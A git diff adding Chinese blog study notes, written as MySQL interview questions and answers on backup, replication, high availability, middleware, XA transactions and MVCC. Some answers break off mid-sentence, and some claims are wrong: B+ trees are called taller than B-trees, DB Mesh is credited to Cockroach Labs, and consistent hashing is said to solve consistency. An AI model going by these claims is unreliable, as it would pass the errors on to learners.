+2-问题:如何使用mysqldump进行备份?这种方式有什么优点和缺点? +标准答案:使用mysqldump,我们可以进行全库备份、单表备份等。它的使用命令基本格式为`mysqldump -u用户名 -p密码 数据库名 > 备份文件名.sql`。这种方式的优点是可移植性强,缺点是恢复数据需要把数据全部导入,而且数据量大时,恢复速度较慢。 + +3-问题:请描述使用MySQL的二进制日志(Binary Log)进行点时间恢复(Point-In-Time Recovery)的步骤? +标准答案:首先需要把最后一次全量备份恢复到数据库中,然后从全备之后的二进制日志中提取出对应的SQL语句。使用mysqlbinlog工具,将二进制日志转化为SQL语句,然后应用到数据库中,从而达到点时间恢复。 + +4-问题:什么是MySQL的热备份,如何实现? +标准答案:MySQL的热备份是指在不关闭数据库服务的情况下进行备份。这种备份方式可以在不影响业务的情况下进行,常用的工具如Percona XtraBackup。它通过复制InnoDB的数据文件并在备份过程中记录数据库的变化,来实现热备份。 + +5-问题:请解释下MyISAM和InnoDB两种存储引擎对于备份策略的影响? +标准答案:MyISAM存储引擎在备份时,可能需要对表进行锁定,以保证备份数据的一致性。这可能影响到正在使用这些表的应用。而InnoDB存储引擎支持事务,可以利用其MVCC特性进行一致性非锁定读,即可以在不影响业务的情况下进行备份。这种情况下,一般推荐使用如XtraBackup这样的热备份工具。 + +6-问题:什么是增量备份和差异备份?它们各有什么优缺点? +标准答案:增量备份是指从上一次备份(全备或增备)后发生改变的数据进行备份。它占用的空间和时间较少,但恢复时需要所有的增量备份及其基础的全量备份。差异备份则是备份从上一次全量备份后发生改变的数据。它占用的空间和时间较增量备份多,但恢复速度更快,因为只需要最近的一次全量备份和一次差异备份。 + +7-问题:请描述下如何进行MySQL的主从复制? +标准答案:MySQL的主从复制大致步骤包括:在主服务器上开启二进制日志,并记录当前的日志位置;在主服务器上进行数据备份;在从服务器上恢复备份数据;在从服务器上设置主服务器的信息,并指定日志位置;启动从服务器上的复制进程。主从复制可以实现数据的热备份,还可以用于负载均衡。 + +8-问题:MySQL有哪些数据恢复工具?可以简单描述一下它们的功能吗? +标准答案:Percona XtraBackup可以用于InnoDB和XtraDB数据库的备份,它支持热备份。mydumper/myloader是一个多线程的MySQL备份和恢复工具,相比于mysqldump,它在大数据量时可以更快地备份和恢复数据。mysqlpump是MySQL 5.7版本引入的新的备份工具,它支持并行备份,效率比mysqldump高。 + +9-问题:请解释一下什么是冷备份,冷备份的优点和缺点是什么? +标准答案:冷备份是指在数据库完全关闭的情况下进行的备份,因为此时没有任何数据库操作,所以可以保证备份数据的一致性和完整性。优点就是备份的一致性和完整性都非常高,缺点是在备份过程中数据库无法提供服务。 + +10-问题:请描述在MySQL数据库被删除或者丢失数据时,应如何恢复? +标准答案:如果是表被删除,我们可以从备份中恢复。如果备份没有包含被删除的数据,可以尝试使用一些工具如Binlog2SQL从二进制日志中恢复。对于丢失的数据,也是类似的,首先尝试从备份中恢复,如果备份不包含丢失的数据,可能需要寻求专业的数据恢复服务。 + + +11-问题:在MySQL中,如何设置自动备份? +标准答案:在MySQL中,自动备份通常通过定时任务(如cron job或Windows任务计划程序)来实现。可以创建一个包含备份命令(如mysqldump)的脚本,并在定时任务中定期执行这个脚本。 + +12-问题:当MySQL数据库大小超过TB级别时,有哪些备份策略? +标准答案:对于TB级别的数据库,全量备份可能会消耗大量的时间和存储空间。此时,我们可以考虑使用组合的备份策略,例如每周进行一次全量备份,然后每天进行增量或差异备份。此外,还可以使用分区表,对每个分区进行备份,以降低单次备份的数据量。 + +13-问题:什么是MySQL的双机热备?它和主从复制有什么区别? +标准答案:MySQL的双机热备是指两台MySQL服务器之间保持数据同步,当一台服务器出现问题时,另一台服务器可以立即接管服务。主从复制也可以实现数据的同步,但主从复制通常用于读写分离,从服务器在主服务器出现问题时不能立即接管服务。而双机热备的两台服务器可以互相为对方的备份,提供了更高的可用性。 + +14-问题:请描述一下使用MySQL Enterprise Backup进行备份的步骤和优点? +标准答案:MySQL Enterprise Backup是MySQL官方提供的一个备份工具,它可以进行全量备份、增量备份以及部分备份。它的使用步骤大致为:首先停止对数据库的写操作,然后使用`mysqlbackup`命令进行备份,最后再恢复对数据库的写操作。这个工具的优点是备份速度快,可以对大数据量的数据库进行高效的备份,而且它还支持热备份,不会影响数据库的使用。 + +15-问题:如何优化MySQL的备份速度? +标准答案:优化MySQL的备份速度可以从以下几个方面入手:使用并行备份工具,如mydumper或mysqlpump;对于InnoDB存储引擎,可以开启并行压缩,利用多核CPU提高备份速度;使用更高效的压缩算法,如lz4或zstd;定期进行全量备份,其余时间进行增量备份或差异备份,以减少每次备份的数据量。 + +16-问题:如何进行MySQL的跨版本数据恢复? +标准答案:MySQL的跨版本数据恢复一般通过逻辑备份来实现,因为逻辑备份的兼容性最好。使用mysqldump进行备份,然后在新版本的MySQL中导入备份的数据。需要注意的是,新版本可能有一些和旧版本不兼容的改变,可能需要对备份的数据进行一些修改。 + +17-问题:请解释MySQL的备份策略3-2-1原则? +标准答案:3-2-1原则是一种通用的数据备份策略,对于MySQL也适用。它的含义是:至少有3份备份,存储在2种不同的设备或介质上,其中1份存储在远程位置。这种策略可以最大程度地减少由于硬件故障、地理灾害等原因导致的数据丢失。 + +18-问题:请描述MySQL的在线DDL操作是如何工作的,以及它对备份的影响? +标准答案:MySQL的在线DDL是在MySQL 5.6开始引入的一种可以在不锁表的情况下对表进行DDL操作的技术。在备份时,由于在线DDL操作可以在操作过程中仍然允许对表的读写,所以可以在不影响业务的情况下进行备份。但是,在恢复时需要注意,在备份过程中进行的DDL操作可能会导致备份数据和当前数据库的结构不一致,所以恢复时可能需要额外的步骤来处理这种情况。 + +19-问题:在MySQL的备份和恢复过程中,如何处理大型表的问题? +标准答案:对于大型表,可以使用分区表来降低单次备份和恢复的数据量。可以根据业务需求将表分区,然后对每个分区进行单独的备份和恢复。此外,也可以使用并行备份和恢复工具,如mydumper和myloader,它们可以使用多个线程同时进行备份和恢复,提高效率。 + +20-问题:在使用云数据库服务(如Amazon RDS或Google Cloud SQL)时,有哪些备份和恢复的策略和工具? +标准答案:对于云数据库服务,通常会提供自己的备份和恢复工具。例如,Amazon RDS提供了自动备份和手动备份的功能,可以通过AWS控制台,CLI或API来进行操作。Google Cloud SQL也提供了类似的功能。这些工具通常会支持全量备份和增量备份,并提供了数据的自动删除策略,可以根据业务需求设置保留的备份数量和周期。对于恢复,可以通过控制台或命令行工具选择备份进行恢复,也可以恢复到新的实例。 + +21-问题:对于使用了MySQL复制的环境,应该如何设计备份策略? +标准答案:在使用MySQL复制的环境中,我们可以从主服务器进行全量备份,而从服务器进行增量备份,这样可以减少主服务器的负载。同时,由于复制是异步的,我们需要确保备份的一致性,可以在备份时记录主服务器的二进制日志位置,以便在恢复时可以将从服务器同步到正确的位置。 + +22-问题:在MySQL中,如何检查备份的完整性和一致性? +标准答案:我们可以通过几种方法检查备份的完整性和一致性。一种是使用mysqlcheck工具进行检查。另一种是在备份完成后尝试在一个测试环境中恢复,确保备份能够正确恢复。对于物理备份,我们还可以检查备份文件的大小和数量是否与原始数据库的文件一致。 + +23-问题:使用第三方备份工具(如Percona XtraBackup)有哪些优势和需要注意的事项? +标准答案:第三方备份工具通常提供了一些MySQL自带备份工具没有的功能,例如热备份、增量备份、压缩备份等。这些功能可以提高备份的效率,降低备份对业务的影响。但在使用第三方工具时,我们需要注意一些问题。一是需要确保工具的版本与MySQL的版本兼容;二是需要了解工具的使用方法,例如XtraBackup在备份完成后需要进行预处理才能恢复;三是需要定期更新工具,以获得新的功能和修复的bug。 + +24-问题:如何在恢复MySQL备份时减少服务中断时间? +标准答案:减少服务中断时间的方法有几种。一种是使用快速恢复工具,如myloader或者mysqlpump。另一种是使用增量备份或差异备份,这样可以减少需要恢复的数据量。还可以使用热备份,这样可以在不中断服务的情况下进行备份和恢复。对于复制环境,可以在从服务器进行恢复,当恢复完成后切换主从服务器,这样可以在不影响主服务器的情况下进行恢复。 + + +### Mysql 的高可用 + +1-问题:请解释一下什么是MySQL的高可用性(High Availability,HA)? +标准答案:MySQL的高可用性是指,当MySQL数据库出现故障切换到备用数据库,保证服务的连续性。实现高可用性的方法有很多,例如主从复制、双主复制、MySQL集群等。 + +2-问题:请解释一下什么是MySQL的复制?它如何帮助实现高可用性? +标准答案:MySQL的复制是指将一个MySQL数据库服务器(主服务器)上的数据复制到一个或多个MySQL数据库服务器(从服务器)。复制可以帮助实现高可用性,当主服务器出现故障时,可以将从服务器提升为新的主服务器,继续提供服务。 + +3-问题:请解释一下什么是MySQL的双主复制?双主复制的优点和缺点是什么? +标准答案:MySQL的双主复制是指两个MySQL服务器相互复制对方的数据,任何一个服务器的数据更新都会同步到另一个服务器。双主复制的优点是可以提供更高的数据可用性和冗余性,任何一台服务器出现故障,另一台可以立即接管服务。缺点是可能会出现数据冲突,需要通过一些机制解决,例如使用自动增量的ID,或者将写操作分配到固定的服务器。 + +4-问题:请解释一下什么是MySQL的主从复制?主从复制的优点和缺点是什么? +标准答案:MySQL的主从复制是指从一个主服务器复制数据到一个或多个从服务器。主从复制的优点是可以提高数据的可用性和冗余性,当主服务器出现故障时,可以将升为新的主服务器,继续提供服务。主从复制还可以提高读性能,因为读请求可以在从服务器上进行。缺点是从服务器在主服务器上的更改会有一些延迟,如果主服务器发生故障,可能会丢失一些最近的更改。 + +5. 问题:请描述一下MySQL集群的工作原理和优点? +标准答案:MySQL集群由多个节点组成,每个节点都有完整的数据副本。节点之间会同步数据,以保证数据的一致性。当一个节点出现故障时,其他节点可以继续提供服务,从而提供了高可用性。MySQL集群的优点是可以提供高可用性和数据一致性,同时由于数据在多个节点之间分布,可以提供高性能和可伸缩性。 + +6. 问题:请解释一下什么是分区,以及如何使用分区提高MySQL的可用性? +标准答案:分区是将一个大表的数据分成多个较小的部分,每个部分在物理上可以看作是一个独立的表。分区可以提高查询性能,因为查询可以只在一个或几个分区上进行,而不需要扫描整个表。同时,分区还可以提高数据的可管理性和可用性,因为可以对单个分区进行备份和 + + +### Mysql 中间件 + +1-**问题:**请解释一下什么是数据库中间件以及它的用途。 + **答案:**数据库中间件是一种软件,允许不同的应用程序与数据库交互。这可以帮助将业务逻辑与数据库操作分离,提高代码的可读性和可维护性,同时也可以在需要时提供**负载均衡**,**故障转移**,**路由**,和**数据分片**等功能。 + +2-**问题:**在设计和实现数据库中间件时,需要考虑哪些关键问题? + **答案:**在设计和实现数据库中间件时,需要考虑以下关键问题:**连接管理**,**SQL解析和路由**,**负载均衡**,**数据分片**,**故障转移**,**事务处理**,以及**性能优化**等。 + +3-**问题:**什么是连接池,以及它在数据库中间件中的作用是什么? + **答案:**连接池是预先创建的数据库连接的集合,可以被需要与数据库进行交互的应用程序共享和复用。在数据库中间件中,连接池可以显著提高数据库操作的性能,因为创建新的数据库连接是一项资源密集型的操作。 + +4-**问题:**如何处理在数据库中间件中的分布式事务? + **答案:**处理分布式事务通常需要使用两阶段提交(2PC)或者三阶段提交(3PC)。这两种都是分布式事务处理的常见算法。2PC包含准备阶段和提交阶段,3PC在2PC的基础上增加了预提交阶段,以减少系统在某些情况下的阻塞问题。 + +5-**问题:**请解释一下什么是负载均衡以及它在数据库中间件中的作用是什么? + **答案:**负载均衡是将工作负载分配到多个系统来优化系统的资源使用,最大化吞吐量,最小化响应时间,避免过度使用某一资源。在数据库中间件中,负载均衡可以帮助将大量的请求分配到不同的数据库服务器上,防止任何单个服务器被过度使用,从而提高系统的整体性能和可靠性。 + +6-**问题:**请解释一下什么是SQL解析和路由以及它在数据库中间件中的作用是什么? + **答案:**SQL解析是把SQL语句分解成一些组成部分,以便于更好的理解和处理。路由则是确定将SQL语句发送到哪个数据库服务器进行处理的过程。在数据库中间件中,SQL解析和路由是必不可少的功能,因为它们可以帮助系统理解请求的需求,并将其发送到正确的数据库服务器进行处理。 + +7-**问题:**请解释一下什么是数据分片以及它在数据库中间件中的作用是什么? + **答案:**数据分片是将一个大的数据库分解成更小,更易于管理的部分的过程。这些更小的部分被称为分片。在数据库中间件中,数据分片可以帮助系统更有效地处理大量数据,并提高性能和可扩展性。 + +8-**问题:**如果数据库服务器发生故障,数据库中间件应如何处理? + **答案:**当数据库服务器发生故障时,数据库中间件应该能够进行故障转移,将请求路由到另一个健康的数据库服务器上。这需要中间件具有健康检查和故障转移的机制。 + +9-**问题:**请描述一下在性能优化方面的经验和策略。 + **答案:**(这个问题的答案将根据面试者的个人经验和知识而变化。) + +10-**问题:**是否熟悉任何特定的数据库中间件产品或框架?如果是的话,能描述一下它的优缺点吗? + **答案:**(这个问题的答案将根据面试者对特定产品或框架 + + +### 数据库中间件的实现 + +1-**读写分离:** + - 首先,需要对传入的SQL查询进行解析以确定它们是读操作还是写操作。 + - 一旦确定了查询的类型,就可以根据其类型将其路由到相应的服务器。写操作(如INSERT、UPDATE、DELETE等)可以路由到主数据库服务器,而读操作(如SELECT)则可以路由到一或多个从数据库服务器。 + - 在这种架构下,需要保证数据的一致性,主服务器的变更必须能够及时同步到从服务器,这通常可以通过数据库自身的复制机制来实现。 + +2-**分片功能:** + - 在实现分片功能时,首先要确定分片策略。这可以基于多种因素,例如根据特定字段的值(如用户ID)或者查询类型等。 + - 然后,需要根据分片策略将数据分布到不同的数据库或表中。这可以通过在发送查询前修改SQL语句来实现。 + - 同样,读取数据时,也需要根据分片策略从正确的数据库或表中查询数据。 + +3- **多租户:** + - 多租户架构的实现方式通常有两种,一是每个租户一个数据库,二是租户共享数据库但是每个租户一个独立的表集合。 + - 无论哪种方式,都需要在处理请求时确定租户的身份,然后根据租户的身份将请求路由到正确的数据库或表。 + - 需要注意的是,在多租户架构中,保障每个租户数据的隔离性和安全性是非常重要的。 + +4-**指标与追踪:** + - 使用像Prometheus这样的开源工具来收集和展示指标。 + - 在处理请求时,可以收集各种性能指标,如请求的数量、请求的平均处理时间、错误的数量等。 + - 对于追踪,可以使用像OpenTracing这样的工具,对请求进行追踪,这可以帮助您了解请求在系统中的行为和性能瓶颈。 + + +5-**单数据库代理:** + +数据库中间件工作在应用程序和数据库之间,它可以代理所有来自应用程序的数据库请求,然后路由这些请求到相应的数据库。在这种模式下,中间件通常提供连接池、查询路由、查询重写等功能。 + +6-**读写分离:** + +数据库中间件可以解析传入的SQL查询,然后根据查询类型(读或写)将其路由到不同的数据库 + +7-**单数据库代理:** 一般通过建立一个服务器,这个服务器会监听来自客户端的连接,并且对客户端发送的每个请求进行解析,然后将请求转发到目标数据库,并将数据库的响应返回给客户端。 + +8-**读写分离:** 中间件会解析每个请求,确定它是一个读请求还是写请求。然后,根据请求的类型,将请求路由到相应的服务器。通常,写请求会发送到主数据库,而读请求会发送到一个或多个从数据库。 + +9-**分片:** 通常会通过某种形式的哈希函数或范围映射将数据分布到不同的数据库或表中。在处理请求时,中间件会解析请求,确定它应该路由到哪个分片。 + +10-**多租户:** 在多租户架构中,通常会在数据库中为每个租户保留一个单独的数据库或表集合。中间件在处理请求时,会确定租户的身份,并将请求路由到该租户的数据库或表集合。 + +11-**影子表:** 通过创建原始表的副本并在中间件中设置映射,使得对原始表的写操作同时写入影子表,这样影子表总是保持与原始表的数据同步。 + +12-**分布式事务:** 分布式事务的实现可能会涉及到2阶段提交(2PC)或者分布式版本的乐观锁等机制。这些机制旨在保证在多个节点上执行的事务的原子性和一致性。 + +13-**数据库网络:** 通常这是指中间件如何处理与数据库的网络连接。中间件通常会维护一个或多个连接池,用于复用连接并减少建立新连接的开销。 + +14-**跟踪/指标:** 可以通过在代码的关键部分添加计数器、计时器或其他度量标准来收集各种运行时指标。这些指标可以通过如Prometheus这样的工具进行收集和展示。 + +15-**SQL审计:** 通过在中间件中添加逻辑来记录所有的SQL查询及其结果,可以实现对SQL的审计。这些记录可以存储在文件、数据库或其他类型的存储系统中。 + +16-**SQL限制器:** 这通常涉及到在中间件中添加逻辑来跟踪和限制每个用户或租户的请求率。当请求率超过预设的限制时,中间件可以拒绝额外的请求或者按照某种策略进行处理。 + + +### Mysql 事务 + + +1-**问题**: 请描述一下MySQL的ACID特性? +**答案**: ACID是指原子性(Atomicity),一致性(Consistency),隔离性(Isolation),持久性(Durability)。原子性指的是一个事务要么全部执行,要么全部不执行。一致性指的是数据库在事务执行前后都保持一致的状态。隔离性指的是并发执行的事务互不影响。持久性指的是一旦事务提交,其结果就是永久的,即使系统故障也无法改变。 + +2-**问题**: 是如何处理数据库的并发访问的? +**答案**: 可以通过设置合适的隔离级别和使用乐观锁或悲观锁来处理数据库的并发访问。乐观锁一般用于并发冲突较少的场景,它在数据提交时检查是否有冲突。悲观锁假定会发生并发冲突,提前阻塞,直到获取锁资源。 + +**乐观锁和悲观锁** + +乐观锁和悲观锁并不是MySQL特有的功能,它们是两种处理并发问题的策略。 + +乐观锁(Optimistic Locking): +在MySQL中,乐观锁通常由程序代码实现,而不是由数据库自身提供。乐观锁假设冲突是罕见的,所以在数据处理过程中不会显式地去获取锁。乐观锁的实现主要是在更新数据时,检查当前数据与读取数据时是否一致。这通常通过版本号或者时间戳来实现。如果数据被其他事务修改过,则拒绝操作。 + +悲观锁(Pessimistic Locking): +在MySQL中,悲观锁由数据库提供。悲观锁假设冲突是常态,所以在整个数据处理过程中,会显式地去获取锁。在MySQL中,可以通过SELECT ... FOR UPDATE语句来获取行级别的悲观锁。 + +3-**问题**: 如何解决数据库分区导致的数据不一致问题? +**答案**: 可以使用两阶段提交或者柔性事务来解决。两阶段提交协议是一种分布式事务的解决方案,在所有参与者中选取一个协调者,执行两个阶段:准备阶段和提交阶段。柔性事务通过允许某种程度的数据不一致,提高系统的可用性。 + +在MySQL中,可以使用XA START, XA END, XA PREPARE, XA COMMIT和XA ROLLBACK命令来实现两阶段提交。 + +二阶段提交(Two-phase commit,2PC)是一种用于保证分布式系统事务一致性的协议。二阶段提交假设参与事务的所有节点都是可靠的。这种协议包含两个阶段:准备阶段和提交阶段。 + +在两阶段提交协议中,会有一个节点被选为协调器(coordinator),其余的节点被称为参与者(participant)。以下是二阶段提交的流程: + +**阶段1:准备阶段(Prepare Phase)** +1. 协调器向所有参与者发送预提交请求(prepare),要求参与者准备好提交事务。 +2. 参与者接收到预提交请求后,如果可以执行事务,则将操作写入到undo和redo日志中,然后返回给协调器ACK确认消息;如果不能执行事务,则直接返回给协调器NACK拒绝消息。 + +**阶段2:提交阶段(Commit Phase)** +1. 如果协调器从所有的参与者那里都收到了ACK消息,那么它就会向所有参与者发送提交请求(commit);否则,它会向所有参与者发送回滚请求(rollback)。 +2. 参与者接收到提交请求后,就会根据redo日志来提交事务,并向协调器发送完成消息;参与者接收到回滚请求后,就会根据undo日志来回滚事务,并向协调器发送完成消息。 +3. 协调器收到所有参与者的完成消息后,就会结束事务。 + + +在MySQL中,使用XA命令来处理两阶段提交主要涉及到以下几个步骤: + +> **启动一个XA事务**:使用`XA START`语句来开始一个新的XA事务。在这个语句中,需要指定一个全局唯一的事务ID。例如:`XA START 'transaction_id';` + +> **执行事务中的SQL语句**:在XA事务中,可以执行需要的SQL语句,如`INSERT`, `UPDATE`或`DELETE`等。 + +> **结束XA事务**:当完成所有的SQL操作后,需要使用`XA END`语句来结束XA事务。例如:`XA END 'transaction_id';` + +> **准备提交XA事务**:在准备阶段,需要使用`XA PREPARE`语句来准备XA事务的提交。例如:`XA PREPARE 'transaction_id';`。这个命令会让MySQL检查当前事务中的所有操作是否都可以成功执行,如果可以,则将事务的状态标记为PREPARED。 + +> **提交XA事务**:在准备阶段完成后,可以使用`XA COMMIT`语句来提交XA事务。例如:`XA COMMIT 'transaction_id';` + +> **回滚XA事务**:如果在准备阶段,发现事务不能成功执行,那么可以使用`XA ROLLBACK`语句来回滚XA事务。例如:`XA ROLLBACK 'transaction_id';` + + +从业务层面来看,需要在应用程序中实现对XA事务的处理逻辑,即在正确的位置插入`XA START`, `XA END`, `XA PREPARE`, `XA COMMIT`或`XA ROLLBACK`命令。同时,还需要处理网络问题、服务器故障等情况,确保分布式事务的正确执行。 + + +4-**问题**: 如何实现数据库的读写分离? + +**答案**: 在中间件层面可以实现读写分离,将读请求和写请求路由到不同的数据库节点。通常,写请求,如 INSERT, UPDATE, DELETE等会路由到主库,读请求,如 SELECT 会路由到从库。 + +5-**请解释一下数据库中间件的作用和用途?** +答:数据库中间件是位于应用程序和数据库系统之间的软件,提供了一种通用的API来处理各种数据库系统,使应用程序可以与不同的数据库系统进行交互。除此之外,数据库中间件还可以提供其他功能,如负载均衡、故障转移、连接池管理、读写分离、数据库分片等。 + +6-**请描述一下对MySQL存储引擎InnoDB的理解?** + +答:InnoDB是MySQL的默认存储引擎,支持ACID事务、行级锁定、外键等特性。InnoDB还使用了一种叫做MVCC(多版本并发控制)的机制来处理并发事务。此外,InnoDB还使用了B+树作为其索引结构,并通过redo log和undo log来保证事务的持久性和一致性。 + +> InnoDB使用了一种称为多版本并发控制(MVCC)的技术来管理并发事务,这种机制能有效提高数据库的并发读写性能。 + +MVCC通过在每个行记录后面保存两个隐藏的列来实现,这两个隐藏的列分别是:创建版本号(CREATED)和删除版本号(DELETED)。这两个版本号对应的是事务的版本号,即事务ID。每开始一个新的事务,事务ID就会自动递增。 + +MVCC,即多版本并发控制,是由数据库系统自身实现的,并不需要在业务程序层面进行任何特别的处理。具体来说,当在InnoDB中执行一个事务时,InnoDB会自动为这个事务创建一个独特的事务ID,并使用这个ID来处理数据行的版本控制。 + +在执行SELECT语句时,InnoDB会根据MVCC的规则来决定哪些行是可见的,也就是说哪些行的数据是属于这个事务的一致性视图的。当执行INSERT、UPDATE或DELETE操作时,InnoDB也会根据MVCC的规则来更新数据行的版本信息。 + +总的来说,MVCC是由InnoDB内部实现并自动处理的,它能在提高并发性能的同时,保证事务的隔离性和一致性。这对于业务程序来说是透明的,也就是说业务程序不需要知道数据库是如何通过MVCC来处理并发事务的。 + +> B+树 + +B树和B+树都是自平衡的树形数据结构,主要用于数据库和文件系统的索引。它们的主要区别如下: + +B树和B+树都是用于数据存储和检索的平衡树数据结构,但是它们之间有一些关键的不同: + +**存储方式**:在B树中,所有的值都存储在树的节点上,而在B+树中,值只存在在叶子节点中。 + +**叶子节点**:在B+树中,所有叶子节点都通过指针相连,形成一个链表结构。这在进行范围查询时特别有用,因为可以在找到范围的开始值后,通过链表指针快速遍历所有在范围内的值。而在B树中,叶子节点并没有相连。 + +**空间利用率**:由于B+树的非叶子节点不存储数据值,只存储键和指向子节点的指针,所以每个节点可以存储更多的键,因此B+树通常比B树更高,更加节省存储空间,而且磁盘IO次数也会相对较少。 + +**搜索速度**:在B+树中,所有查询都需要找到底层的叶子节点,所以每次搜索的路径长度都相同,查询性能更稳定。而在B树中,值可能存在内部节点也可能存在叶子节点,所以搜索的路径长度可能不同。 + +由于这些特性,B+树非常适合用于数据库索引。在MySQL的InnoDB存储引擎中,就使用了B+树作为其索引结构。 + +7-**什么是数据库分片,它解决了什么问题?** + +答:数据库分片是一种将数据分散存储到多个数据库节点的技术,每个节点存储数据的一个子集,这些子集被称为分片。数据库分片可以解决单个数据库节点无法处理大量数据和高并发访问的问题,它可以提高数据库系统的可扩展性和性能。 + +8-**如何在MySQL中实现读写分离?** + +答:在MySQL中,通常可以通过主从复制和中间件来实现读写分离。主数据库负责处理写操作,同时将数据变更复制 + +8-如何解决数据库分片中的数据一致性问题? + +在数据库分片中,数据一致性是一个非常重要的问题。由于数据被拆分到不同的物理节点上,因此可能存在多个节点同时进行写操作的情况,从而导致数据不一致。为了解决这个问题,可以采用以下一些方法: + +> 一致性哈希(Consistent Hashing):一致性哈希是一种将数据分布到多个节点的算法,它可以保证当节点数量发生变化时,只有少量的键值需要重新分配。一致性哈希可以有效地解决数据分片中的数据一致性问题。 + +> 基于时间戳的冲突检测(Timestamp-based Conflict Detection):在进行写操作时,可以为每个数据项维护一个时间戳。当多个节点同时进行写操作时,可以比较时间戳来检测冲突,并进行相应的处理。 + +> 两阶段提交(Two-Phase Commit):两阶段提交是一种分布式事务处理的算法,它可以保证所有节点在进行写操作时都达成一致。两阶段提交的基本原理是先进行预提交,然后再进行正式提交。 + +> Paxos 算法:Paxos 算法是一种分布式一致性算法,它可以保证在节点发生故障的情况下,仍然可以保持数据的一致性。Paxos 算法的基本原理是通过选举和投票来达成一致。 + +> Raft 算法:Raft 算法是一种分布式一致性算法,它可以保证在节点发生故障的情况下,仍然可以保持数据的一致性。Raft 算法的基本原理是通过日志复制来达成一致。Raft 算法的基本原理是通过日志复制来达成一致。每个节点都维护一个日志,并将日志中的每个条目按照顺序进行编号。当一个节点需要进行写操作时,它会将写操作转换为一个日志条目,并将该条目发送给其他节点进行复制。当大多数节点都复制了该日志条目后,该条目就被认为是已经提交的,并可以被应用到状态机中。 + +> 分布式锁(Distributed Lock):分布式锁可以保证在多个节点同时进行写操作时,只有一个节点能够进行写操作,从而保证数据的一致性。分布式锁是一种用于协调分布式系统中多个节点的锁机制。它可以保证在多个节点同时进行写操作时,只有一个节点能够进行写操作,从而保证数据的一致性。 + +> 下面是一种常见的分布式锁的实现方式:建一个共享资源(例如一个数据库表或者一个独立的服务)。当一个节点需要获取锁时,它向共享资源发送一个请求,请求中包含一个唯一标识符(例如节点的 IP 地址)。如果共享资源当前没有被锁定,则节点可以获取锁,并将共享资源锁定。如果共享资源已经被锁定,则节点将等待一段时间后再次尝试获取锁。如果等待时间超过了一定的阈值,节点将放弃获取锁的尝试。当节点完成了写操作后,它将释放锁,并将共享资源解锁。 + + +### 云原生数据库 + + +1-**Vitess:** Vitess是一款开源的数据库分片系统,最初由YouTube开发并用于扩展MySQL。它现在已经成为Cloud Native Computing Foundation(CNCF)的一部分。Vitess提供了一种可以让MySQL在大规模环境中运行的方式,同时提供了保护数据库并提高其效率的一些功能。 + +2-**TiDB:** TiDB是一个开源的、云原生的分布式SQL数据库,支持混合事务和分析处理(HTAP)。TiDB具有水平扩展、强一致性和高可用性等特性。TiDB是由PingCAP公司开发并维护的。 + +3-**CockroachDB:** CockroachDB是一个云原生的、分布式SQL数据库,它提供了一种在云环境中运行ACID事务的方法。CockroachDB的目标是能够处理大规模的数据并保证高可用性和强一致性。 + +4-**Apache Cassandra:** 虽然Cassandra并非最初为云设计的,但其分布式设计使其成为构建云原生应用的理想选择。Cassandra可以在许多节点之间分布数据,保证高度可用性和可扩展性。 + +5-**MongoDB Atlas:** MongoDB Atlas是MongoDB公司提供的云原生数据库服务,它提供了一种管理MongoDB实例的方式,包括自动化的部署、自动扩展、备份和恢复等功能。 + + +## 其他 + +DB Mesh(Database Mesh)是一个由数据库公司 Cockroach Labs 推出的开源项目,旨在为 Kubernetes 基础架构提供数据库服务的管理和部署解决方案。 + +DB Mesh 提供了一种简化数据库部署和管理的方法,它可以自动管理数据库的复制、分片、负载均衡和故障恢复等任务,从而使得用户可以更加专注于应用程序的开发和部署。 + +在 DB Mesh 中,数据库被部署为 Kubernetes 中的一个 StatefulSet 对象,同时还提供了一个 Operator,用于自动化地管理数据库的生命周期。DB Mesh 还支持多种数据库引擎,包括 PostgreSQL、MySQL 和 CockroachDB 等。 + +DB Mesh 的主要特点包括: + +自动化管理:DB Mesh 可以自动管理数据库的复制、分片、负载均衡和故障恢复等任务,从而减轻用户的管理负担。 + +多数据库引擎支持:DB Mesh 支持多种数据库引擎,包括 PostgreSQL、MySQL 和 CockroachDB 等。 + +Kubernetes 集成:DB Mesh 可以与 Kubernetes 集成,利用 Kubernetes 提供的资源管理和调度功能,实现高度可靠的数据库服务。 + +安全性:DB Mesh 支持 TLS 加密和认证等安全特性,保证数据库的安全性和数据的隐私性。 + +### Mysql 主从 + + +在数据库系统中,主从复制(Master-Slave Replication)是一种常见的数据同步策略,它能提供数据的冗余备份,读取性能的提升以及系统的高可用性。 + +主从复制的工作机制: + +1. **配置主服务器(Master):** 主服务器运行的 MySQL 实例负责处理写操作(INSERT、UPDATE 和 DELETE 等)。主服务器记录所有的数据修改操作到二进制日志(Binary Log)中。 + +2. **配置从服务器(Slave):** 从服务器启动后,会启动两个线程:I/O 线程和 SQL 线程。I/O 线程连接主服务器,读取主服务器的 Binary Log 中的事件并写入到从服务器的 Relay Log 中。SQL 线程读取 Relay Log 中的事件,按照原来的顺序重放这些事件,以此来更新从服务器上的数据。 + +3. **处理读请求:** 为了分担主服务器的读取负载,从服务器可以用来处理读请求(SELECT 等)。由于主从服务器的数据是同步的,所以从服务器返回的结果和主服务器是一致的。 + +4. **故障切换:** 如果主服务器出现故障,可以选择一个从服务器提升为新的主服务器,然后修改其它从服务器,使它们从新的主服务器复制数据。这样可以最小化服务中断的时间。 diff --git a/_posts/2023-9-20-test-markdown.md b/_posts/2023-9-20-test-markdown.md new file mode 100644 index 000000000000..74c03a20f98f --- /dev/null +++ b/_posts/2023-9-20-test-markdown.md @@ -0,0 +1,48 @@ +--- +layout: post +title: 高性能Mysql +subtitle: +tags: [Mysql] +comments: true +--- + +## 第一章 + +### 1.1 + +#### 1.1.1 连接管理 +这段话描述的是一种常见的服务器处理客户端连接的模型,也就是每个客户端连接对应一个服务器线程的模型。这里的“线程”是操作系统中的一个基本概念,它是CPU调度和分派的基本单位。一个线程可以理解为一个程序内部的一条执行路径,每个线程都有自己的一套独立的寄存器(如程序计数器,堆栈指针,通用寄存器等),但同属一个进程的多个线程会共享该进程的资源,如内存空间等。 + +在这个模型中,每当一个客户端连接到服务器时,服务器会为这个连接分配一个线程。这个线程的任务就是处理这个连接的所有请求,比如读取客户端发送的数据,处理这些数据,然后将结果发送回客户端。这个线程在执行过程中,会在服务器的CPU核心之间进行切换,也就是所谓的“轮流在某个CPU核心或者CPU中运行”。 + 